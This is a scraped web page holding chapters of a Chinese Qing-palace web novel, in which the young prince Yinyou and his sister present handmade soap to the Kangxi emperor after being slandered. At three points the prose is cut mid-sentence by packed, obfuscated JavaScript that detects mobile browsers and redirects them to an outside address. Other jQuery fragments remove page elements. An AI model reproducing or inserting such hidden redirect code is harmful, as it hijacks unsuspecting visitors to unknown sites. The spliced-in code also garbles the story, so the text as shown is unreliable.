戴贵人想到这里,也十分高兴,吩咐希芸姑姑去库房挑一两匹料子,打算回头给小侄子当见面礼。 “回头我有好些文房四宝,也可以送给表哥。”胤祐手里捏着块桂花糕,边吃边晃悠着小脚。 戴贵人瞧他这模样可爱,忍不住唇角勾起,“这回娘娘还问了你们到底在干什么呢,你们啊,捣鼓了这一两个月,葫芦里到底卖的什么药。” “额娘回头就知道了,肯定是好事。” 胤祐眼睛一转,笑嘻嘻说道。 …… “卫常在,皇上在里头看书呢,您进去就是。” 太监打起帘子,卫常在迈步走进西暖阁,殿内点了炭盆,暖香迎面而来。 她唇角勾起,待走进去后,对着南炕上坐着的康熙福了福身:“皇上万福金安。” 康熙从书里抬起头来,见得卫氏眉眼妩媚,粉面含春,不由得露出笑容,“你今日怎么来晚了?起吧。” “皇上恕罪,实在是八阿哥这孩子难缠得紧,听说明年要去上书房读书,日日在屋里苦读,还拉着嫔妾听他背书,嫔妾本想赶紧过来,可又怕耽误了孩子的功课。” 卫常在在康 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13095502|136876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 熙对面坐下,嘴里嗔着抱怨道。 这番话要是宜妃听见了,怕是白眼都能翻上天去了。 康熙却是颔首,欣慰道:“八阿哥勤学刻苦,是好孩子,你也是个贤母啊。” “嫔妾可不敢当皇上这称赞。” 卫氏娇羞,眼波流转,低垂下头。 见宫女捧着托盘上来,她主动伸手捧起茶盏递给康熙,“皇上请用茶,嫔妾先前没生过孩子,哪里懂得怎么带孩子,全都是惠妃娘娘苦心教导,嫔妾这才知道怎么教。” “惠妃是老成人,她倒是有心。” 康熙掀开茶盖,用盖子拂去茶沫,“只是这心思要是多花在大阿哥身上就好了。” 卫氏心里暗道不妙。 前几日太子跟大阿哥在上书房争吵,大阿哥恼怒之下挥拳打了太子,太子也不知是躲闪不及,还是没防备,总之就是挨了一拳。 为了这事,康熙责罚大阿哥跪了三个时辰,又罚抄了五遍孝经,连同惠妃也挨了训斥。 “是啊,惠妃娘娘也常想劝大阿哥,只是大阿哥性格过直,脾气又爆,想劝也听不进去。” 卫氏笑盈盈地拿了一颗葡萄剥皮,随意一般地岔开话题道:“说起来皇上可知道最近七阿哥跟二格格在宫里头闹出的一件趣事?” “趣事?什么事?” 康熙挑起眉,疑惑地问道。 卫氏将剥皮了的葡萄递给康熙,“是说二格格跟七阿哥天天跟御膳房要猪油跟草木灰,您说这有不有趣,他们俩要这些东西是做什么,若是做吃的,又不见有吃的东西送出来,若是做旁的,猪油跟草木灰能做什么,现在想想,果真是两个孩子瞎折腾,闹着玩呢。” 梁九功侍立在旁,闻言眼皮掀了掀。 卫常在倒是好本事,三言两语就给七阿哥上了眼药。 二格格玩没什么,毕竟女孩子家也不指望建功立业,可七阿哥小小年纪,若是贪玩,落下个玩物丧志的名声,那前途可就毁了。 “七阿哥最近没读书?” 康熙皱起眉头,摸摸胡须,脸上露出不满。 卫常在道:“想来是有的,嫔妾跟惠妃娘娘还关心过,七阿哥说他的功课不必我们操心。” “荒唐,不过取得些许成绩,就这般夜郎自大,这还了得!” 康熙拍了下桌子,脸沉了下来。 他素来好学,严于律己,对儿子们要求更是苛刻,三更眠五更起不说,文武都得涉猎,满文、汉文、蒙文还要精通,甚至还得学习西洋人的话。 原先他见七阿哥会写百寿图,心里惊喜不已,对这个儿子也抱着期待,不想转眼,七阿哥就骄傲起来了。 “皇上莫恼,孩子嘛,贪玩是有的,回头去了上书房肯定能改正的。” 卫常在拍怕康熙后背,温柔地给他顺气,“这年节底下,您就别跟他置气了,七阿哥身子骨弱,想来戴贵人也是因此才不好苛责。” “哼,慈母多败儿,慈母多败儿!” 康熙恼归恼,到底把卫氏的话听进去了,“还是你这个额娘当的好,八阿哥也是好的。” “皇上这话,岂不是羞煞嫔妾了。” 卫常在含羞低头。 21.绿茶的第二十一天 “都点清数目了吗?” 胤祐看了看单子,对小邢子问道。 小邢子点点头,擦了擦额头上的汗水,“奴才数了三遍了,错不了。” “那就好,小邢子,这阵子可辛苦你了,回头过年我给你封个大红包。” 胤祐踮起脚尖,拍怕小邢子的肩膀,笑眯眯说道。 小邢子摸摸鼻子:“大红包就不至于了,爷,回头您别让奴才再保密就行了,奴才这嘴对着旁人还能保住秘密,对着小主跟姑姑他们,可有些守不住。” 胤祐不由得哈哈大笑。 他看着桌上摆好的一摞摞盒子,眼里露出期待神色。 除夕日。 这日一早,宫中各处就都是松柏枝燃烧的香味。 晌午的时候,胤祐跟戴贵人都穿了新衣裳,前去慈宁宫参加家宴。 胤祐的坐席一如既往是在五阿哥下面。 他跟太皇太后、皇太后见了礼之后,就归座,坐下来后他就听见蛐蛐声。 胤祐起初以为是自己听错了。 毕竟这节日底下,哪里来的蛐蛐,何况还是在宫里。 等听了好几声后,他循声看去,却见桌旁悬着一个绣笼,里头赫然是两只活力四射的蛐蛐。 胤祐眼睛微睁,正觉得不可思议的时候,五阿哥凑过来了,“七弟,你这桌子的蛐蛐居然没打起来,估计是一对。” 胤祐:…… 他无语之余又觉得好笑,“五哥怎么知道他们就是一对?” 五阿哥理所当然地说道:“这是当然,蛐蛐好斗,只有是一对公母才不会斗起来。” “原来如此,五哥知道的真多。” 胤祐恍然大悟,敬佩地看着五阿哥。 五阿哥不好意思之余又有些高兴。 他自从去念书后,处处比不上其他兄弟,师傅们跟皇阿玛虽然因为太后的缘故不敢批评的太过,但五阿哥心知肚明别人眼里自己是很不争气的。 胤祐这么一夸,五阿哥顿时来劲了,掏出自己了解的那些知识跟胤祐分享了起来。 直到康熙跟太皇太后等人过来,他才恋恋不舍地闭上嘴巴。 “恭贺皇上金安、太皇太后金安……” 后宫妃嫔跟阿哥格格们当地跪下。 康熙今日心情大喜,脸上满是笑容,叫了起,随后过问了宜妃万贵人的情况。 宜妃笑着道:“万贵人跟十二阿哥现在一切都好,尤其是十二阿哥长得精神极了,像皇上您。” “是吗?朕可有日子没瞧他了,回头就去瞧瞧。” 康熙眉眼都是笑意。 惠妃等人不由得拿眼神瞥了宜妃一眼,荣妃不动声色撇撇嘴,宜妃倒是会讨巧,那十二阿哥才多大啊,月初才生下来的孩子到现在还不到一个月呢,能看出什么模样像皇上的。 “那万贵人知道了肯定高兴。” 宜妃笑盈盈说道。 惠妃不冷不热道:“宜妃妹妹倒是有心,不过宜妃妹妹也该多花些心思在五阿哥身上,本宫听大阿哥说,五阿哥这一年进步可不多啊,今年头一年上学也就罢了,明年可得抓点儿紧。” 正往嘴里塞蜜饯的五阿哥冷不丁被点名,错愕地啊了一声,那神情跟茫然的土拨鼠一样。 宜妃脸上笑容渐渐淡了,她恨不得给惠妃几巴掌,“惠妃姐姐提醒的是,我们五阿哥今年刚入学,回头多上点儿心思自然就能学好了。” 胤祐瞧见五阿哥一脸痛苦,不由得好笑。 他放下蜜饯,站起身来,心思全写在脸上:“额娘的教诲,儿臣谨记在心。” “五弟要是把玩虫子的心思花在功课上就好了,还有七弟,我听说你这几个月一直跟二妹妹胡闹,你可别以为先前自己学的好,现在就可以放开玩了,需知学如逆水行舟,不进则退。” 大阿哥站起身来,他今年十四岁,嘴唇上留了些胡须,说话的语气颇为不客气,尤其是看五阿哥跟胤祐的眼神,那就更是嫌弃。 五阿哥不想自己刚才跟七弟说的话被大阿哥听得清清楚楚,一时间羞恼交加,从脖子上红到了耳根,“我、我今年没有玩虫子。” “你还狡辩,你没玩,那功课怎么这么差?” 大阿哥满脸不悦地呵斥道,“光是一本论语都背的磕磕绊绊,你还好意思为人兄长。” 五阿哥气得简直要爆炸了。 他真的很认真学了,可是他汉字才刚开始学,就要背论语,能背下来都很不容易了。 “大哥,五弟不是会说谎的人,功课差也不能全怪五弟。” 太子眼角还有一块青,他记恨着大阿哥先前的仇,便站出来帮着五阿哥说话。 “他不会说谎,那你的意思我这个当大哥的,故意污蔑他了?是不是这个意思?” 大阿哥怒目瞪眼地看着太子,鼻孔嗡张,态度很是强硬。 “本宫没有这个意思,大哥莫要顾左右而言他。” 太子瞧大阿哥这模样,心里就厌烦,他直接道:“五阿哥住在五所那边,他若是玩秋虫,左右兄弟们都能听到,你不如问问三弟,四弟他们可听过声响。” 三阿哥、四阿哥两人起身,躬身回道:“我们都没听到过。” “这就是了,大哥,您身为兄长,说话做事更要有证据,错怪了兄弟,伤了兄弟情分不说,也让皇阿玛心痛。” 太子唇角掠过一丝得意,扬起头来,却是一副痛心疾首的模样。 胤祐在旁默默吃瓜,眼见大阿哥气得脸都涨红,胸膛起伏,心里暗暗道,这大阿哥的手段,嘴巴都不如太子厉害啊。 瞧瞧人家太子说的多体面。 “那七弟胡闹的事,我难道也不能说吗?” 大阿哥怒极之下,将炮筒对准了一副乖巧模样的胤祐。 胤祐:??? 不是吧,大哥,您在太子那边吃了亏,就拿我出气? 您真当我好拿捏啊。 胤祐慢吞吞地站起身来,想了想,这么些阿哥里头,还真是他最好拿捏了。 五阿哥再怎么着,也是养在太后跟前,不看僧面看佛面,大阿哥即便训斥他,五阿哥也敢顶嘴。 他呢,一个不受重视的皇子,还年纪小,谁瞧了不会把他当成软柿子。 “是啊,本宫听说过七阿哥天天跟御膳房要猪油,七阿哥,您要玩也不能糟蹋东西,皇上素来崇尚节俭,你们这些当皇子的更应该向皇上学习。” 惠妃为了维护儿子,便一副苦口婆心的模样,对着胤祐说道。 “朕也听说了,你这些日子跟和慧胡闹,你们俩在干什么,莫非是因为先前朕夸赞了你们,你们便翘了尾巴,骄傲自大了。” 康熙本不想提起这事,毕竟大过年的,但惠妃、大阿哥都说了,那这件事就得过问了。 “回禀皇阿玛,儿臣跟姐姐不是在胡闹。” 胤祐走到殿下,跟康熙抱拳行礼,“儿臣是跟姐姐在为皇阿玛、太皇太后、皇太后跟后宫娘娘,兄弟姊妹们准备一份年礼。” “年礼,什么年礼?” 大阿哥嗤笑一声:“莫非是过年分猪肉!” 胤祐懒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13113735|136876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得看他,二格格却是气得磨牙,平日里怎么没发觉大哥的性子这么讨人厌,事情都没弄清楚就胡说八道。 他们俩这些日子为了那洋胰子花了多少心思。 “儿臣今日也叫人带来了,不如皇阿玛你们瞧瞧,看看这礼物合不合你们的心意。” 胤祐跟二格格对了一眼,挥了挥手示意小邢子等人去把东西搬进来。 惠妃脸上虽然还带着笑容,但心里却不禁起疑。 这二格格跟七阿哥神神叨叨的,难道真的这些日子是在准备年礼? 大阿哥却隐约有些不安。 他指责五阿哥已经被打了脸,要是指责七阿哥也说错了,那只怕皇阿玛心里要不喜。 一摞摞盒子送了上来。 胤祐叫上三阿哥、四阿哥一起帮忙分派年礼。 首先呈递的自然是康熙,太皇太后、皇太后这三位大佬。 盒子打开,康熙瞧见里面摆放的整整齐齐的东西,诧异地挑了下眉,“拿过来,朕瞧瞧。” 梁九功忙走前几步。 康熙拿起里面的洋胰子,闻了闻,又瞧瞧上面的字体,“万寿无疆,一统江山、风调雨顺、家国平安,好意头!这些洋胰子是哪里买来的?” “皇阿玛,您可猜错了,这是儿臣跟二姐姐一起动手做的!” 胤祐得意地扬起下巴,小脸上两个酒窝格外明显。 “我不敢居功,是胤祐想出来怎么做,我帮忙打下手。” 二格格忙说道。 荣妃不由得翻了个白眼。 傻闺女。 辛苦跑了小两个月,这会子有功劳还给推出去做什么! “竟是你们自己做的?” 太皇太后也吃了一惊,她跟前盒子里的洋胰子也是些好意头的成语,但除此之外,香味也比送给康熙的多,并且上面还有各种花样,颜色七彩都有。 “是啊,我跟二姐姐这些日子忙活就是为了这个。” 胤祐说道:“儿臣先前是想,儿臣一身所有都是皇阿玛给的,皇阿玛也什么都有,若是送旁的也比不上皇阿玛有的东西,倒不如花些心思,动手做,如此一来,也是儿臣的一番心意。” 康熙瞧着跟前的盒子,心里大为感动。 他合上盒子,叫胤祐上前。 胤祐乖宝宝似的走上前去,趴在康熙膝盖上,抬起头,孺慕地看着康熙:“皇阿玛,是儿臣不对,儿臣不敢隐瞒着大家,让大家为儿臣担心,不过儿臣跟姐姐是想给皇阿玛你们一个惊喜。” “朕知道,你们啊都是好孩子。” 康熙摸了摸胤祐的脑袋,只觉得这孩子实在孝顺又贴心,“这洋胰子素来是西方那边传来的东西,难为你们竟然做得出。” “儿臣也很惊讶,儿臣想,这肯定是老天爷看儿臣的一番孝心,所以让儿臣开窍的。” 胤祐奶声奶气地说道。 太皇太后感动道:“这就叫做皇天不负苦心人,七阿哥着实是个好孩子。” “是啊,该赏,胤祐,你想要什么?” 康熙脸上的怒气早已散去,看着胤祐的眼神充满慈爱。 惠妃母子俩此刻脸色别提多难看。 卫氏则暗暗咬牙,只恨不得眼神能变成刀子,射穿七阿哥,自己先前在皇上跟前给七阿哥上眼药,原是以为十拿九稳抹黑了七阿哥,想不到,七阿哥居然留了一手。 七阿哥真是心机深沉,小小年纪就这么能算计! 要是他早让人知道他这些日子是在准备年礼,自己怎会落得眼下这个尴尬的局面! 22.绿茶的第二十二天 胤祐最后什么也没要,就要了压岁钱。 康熙大方得很,直接一口气赏下五百两银子,这笔钱把胤祐砸的眼睛发光,连声道谢。 “谢什么,你这番心意,朕很是欣慰,不过这些毕竟是小事,回头去念书,可得多上心在功课上。” 康熙嘱咐道。 他说出这句话,可见是真把胤祐放心上了。 康熙是出了名的在乎阿哥们教育,每日早晚都会去上书房督促考问阿哥们的功课。 胤祐答应道:“儿臣知道轻重的,这些日子二姐姐也常督促儿臣学习,儿臣不敢懈怠。” “和慧确实是个好姐姐,该赏。” 康熙欣慰地摸了摸胡须,看向二格格,让人取了一套资治通鉴的孤本送给二格格。 这份礼物显然比压岁钱更合二格格的心意。 二格格喜滋滋地谢恩,笑容满面。 三阿哥虽然没得到赏赐,可也心情不坏,毕竟皇阿玛赏赐的不是旁人,是他嫡亲的姐姐。 一母同胞,一荣俱荣,一损俱损,二格格得脸,就相当于三阿哥得脸。 大阿哥脸上有些尴尬,宴席后面都没敢出声。 倒是太子,今日心情不错,唇角弯弯,还喝了好几杯玉泉酒,看着七阿哥,眼里掠过一丝欣赏。 除夕夜当晚,后宫各处也都送了回礼来。 估计是见胤祐这回送的礼物很用心,又或者是为了讨好康熙,今年各处送的年礼都十分厚重。 “德妃娘娘送的这些首饰虽然轻巧可胜在精致,小主不如先别收入库房,免得回头要用还得去取。” 希芸姑姑瞧着礼单清点东西,一边对戴贵人说道。 戴贵人看了看那盒子里的首饰,簪钗镯坠都有,每样都是今年最流行的式样:“也好,今年得亏胤祐跟二格格想出那么个法子,否则真是走不动这礼了。” 她们以前不受待见,送的礼单薄些还有人挑刺,这一年算是有些起色,要是还送自己做的东西,这宫里头怕是得有不少风言风语。 “是啊,咱们阿哥真是聪明能干,奴才就说阿哥先前不是瞎胡闹,偏生外面的人不信,尤其是惠妃娘娘她们,这下可好,今儿个她们那脸色,奴才想着都觉得可乐呢。” 希芸姑姑只觉得吐气扬眉。 这两个月来的憋屈可算是找回来了。 晚上的时候,戴贵人特地掏了三十两银子让御膳房做了两桌菜,一桌是他们母子的,一桌则是给希芸姑姑他们的。 戴贵人喝了口酒,脸红扑扑的,激动的心情到现在还没平复下来。 外面烟花爆竹声劈啪作响,把天幕照的格外分明,点点星辰都被压过了风采。 胤祐扯了扯戴贵人的袖子,“额娘,该给他们发压岁钱了。” 先前是没法子,他们母子都捉襟见肘,想打赏下人都心有余而力不足。 现在境况好了,自然不能小气。 胤祐上辈子经历过的不少,他了解人性。 戴贵人失势已久,底下宫女太监早已人心浮动,疏忽职守。 今日是个收服人心的好机会。 “是,先发钱,让大家都开心开心。” 戴贵人脸上止不住露出笑容,摸了摸胤祐的脑袋。 她站起身来,希芸姑姑等人忙起身行礼:“小主。” “这几年大家在储秀宫这边过得也不算如意,我虽是贵人,想赏赐你们也捉襟见肘,但如今情况不同了,” 戴贵人起初说话有些磕磕绊绊,可对上旁边儿子鼓励的眼神,一股暖流就从心里涌起。 她咽了咽口水,鬼鼓起勇气道:“往后咱们储秀宫也会越来越好,我也希望你们能尽心尽力,忠心,我跟阿哥绝不会辜负你们。” “小主……” 希芸姑姑跟小邢子两人眼眶都红红的。 嬷嬷们一个个或有露出激动神色,或是沉默不语,或是紧张忐忑。 “希芸,我跟阿哥给你包了个大红包,你先来领。” 戴贵人看向希芸,眉眼格外柔和。 她跟希芸算是患难见真情,两人情分跟亲姊妹没差别。 希芸擦了擦眼泪,露出个大大的笑容:“是。” 她的红包沉甸甸,里头赫然是两个大元宝,这就是二十两了。 希芸嘴巴微张,其他人顿时骚动起来,二十两银子不少了,在外头都能置几亩地。 “这、小主,这太多了。” 希芸姑姑只觉得烫手,自己进宫这么多年也就攒了这么多年钱。 “姑姑,你就拿着吧,你们其他人也是一样,千万别推辞,以后要是你们做得好,年底的压岁钱只会更多。” 胤祐站起身来,拿起杯子对着众人,“以往的过去咱们都别放心上,我跟额娘只看将来,只要是忠心的,我们都重重有赏。” “是,阿哥!” 众人忙答应道。 一封封红包发下去,众人喜笑颜开,谢恩声不断。 外面早已天黑,鹅毛似的雪花飘下来,落在琉璃瓦上,屋里头烛火爆了爆,把希芸姑姑吓了一跳。 奶嬷嬷李氏讨好地说道:“小主,阿哥,灯花爆,喜事来,这可是好兆头啊,小主跟阿哥明年一定顺风顺水。” “承你吉言了,嬷嬷。” 胤祐客气地说道。 他跟戴贵人商量过,他要去上学少不得要有几个嬷嬷过去照应,先前冷着这些人,不用她们伺候是为了给她们一个教训。 现在估计这些人也知道主子的脾气了,也该老实了,况且只要不傻,只看康熙现在对他的态度,就该知道该讨好谁。 这李嬷嬷虽然有些刁钻奸猾,可胜在还算忠心,没干过对不起主子的事,与其把人打发了换新人来,倒不如用这些老人。 若是再有做的不妥当的地方,到时候再来处置也不迟。 见阿哥对她有个好脸色,李嬷嬷心里松了口气,越发尽兴来了几句吉祥话。 当晚,胤祐跟小邢子等人玩了下赌大小,赌的都是几文钱,就是个意思。 宫里有守岁的习惯,胤祐原想陪着戴贵人熬一整夜,可年纪小,身子撑不住,熬到三更时候就不住打瞌睡,到最后不知不觉睡着了。 戴贵人叫人把他抱回去睡,跟希芸姑姑等人继续守着,正月里不许动针线,这会子便只能说说闲话。 戴贵人感叹道:“真是苦了平安,这两个月来忙里忙外的。” “小主,阿哥的辛苦也是值的,您瞧今年那些娘娘们送的回礼,可比过去几年加起来都多。”希芸姑姑意有所指地说道:“说起来,这宫里头过日子,总得指望皇上的宠爱,谁能得宠,谁就能升天。” “你这番话是想劝我吧。” 戴贵人捏着瓜子的动作一顿,随后扬起头来,故意板着脸。 希芸姑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13126429|136876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姑心里一紧:“奴才多嘴,小主别恼。” “噗嗤。” 戴贵人沉默片刻,笑出声来,她点了点希芸姑姑,“瞧你胆小的这样,我是那等不讲理的人吗?你说的正是我这些日子想的。那惠妃、卫常在屡屡刁难我儿,不就是因为我不得宠,倘若我是德妃她们,惠妃敢如此肆意吗?” 戴贵人想到这里,就不禁咬牙,“不为旁人,只为替平安报仇,我也要争点儿气。” 睡梦中的胤祐砸吧着嘴巴。 他梦见自己把上辈子的资产都带过来了,几百亿身家,直接给自己砸出了个铁帽子王。 他还盖了个大园子,接了戴贵人出去住。 每日逗猫遛狗,何其乐哉。 “爷,爷,该起了。” 小邢子穿着簇新一身冬袍,掀起纱帐,对胤祐喊了几声。 胤祐迷迷瞪瞪睁开眼,“我、我起什么起,我都发财了……” “噗嗤。” 一声清脆的笑声传来,二格格银铃一般笑着走过来:“七弟,这昨晚上做什么梦呢,这么高兴。” 胤祐愣了愣,小邢子低声道:“二格格跟三阿哥过来了。” 啊? 胤祐愣了下,一个鲤鱼打挺坐起身来。 小邢子去打水来给胤祐洗脸,胤祐边洗脸边好奇地问道:“二姐姐,三哥,你们这么一早过来是来干嘛的?” 三阿哥手里拿着扇子,坐在窗边的椅子上,闻言扭过头来,“这还早啊,这都晌午了,七弟。” “都这个时辰了?” 胤祐看了看桌上的自鸣钟,还真是晌午,他擦了一把脸,道:“我说怎么感觉挺饿,三哥,你们吃了早饭没?” “没呢,我们这正要吃呢,你索性跟我们回去一起吃吧。” 三阿哥说道。 胤祐笑道:“这怎么说,跑到我们储秀宫来,怎么不在这里吃,反而要去你们那边吃。” “哎呀,是我额娘有事想找你商量,你跟我们去就是了。” 三阿哥瞧了瞧桌上的摆件,都是些小孩子喜欢的小东西,木雕的牛、陶瓷的不倒翁、风车跟布老虎。 瞧瞧这些东西,再想想七弟这些日子的作为,真有些不敢相信。 不过想想,七弟过了年也才六岁,孩子贪玩本是天性,纵然聪明也难免。 胤祐眼里露出些疑惑神色,问了下小邢子戴贵人在不在,得知她出去了,才跟三阿哥等人过去翊坤宫。 翊坤宫的早膳很是丰富。 光是菜色就有二十来种,荣妃很是热情地吩咐人给胤祐夹菜,还指了几样小菜:“这胭脂鹅脯,酱鸭舌都是我们这些小厨房的拿手好菜,回头我让人送一些给戴贵人尝尝。” “多谢荣妃娘娘。” 胤祐尝了几块,确实滋味不错,他笑道:“常听说娘娘宫里的小厨房厨艺好,胤祐今日也算见识了,果真做的比御膳房还好上几分。” “好说,你若是喜欢,回头本宫让人给胤祉送菜的时候,也给你送一份。” 荣妃今日格外的亲切。 常言道,礼下于人必有所求。 胤祐道了谢,眼眸垂下,心里隐约有了猜测。 果不其然。 等用过早膳后,下人捧茶上来,荣妃就开门见山地说道:“七阿哥,你做的洋胰子本宫试过了,比西洋那边的还好,不知你有没有打算变卖自己的方子呢?”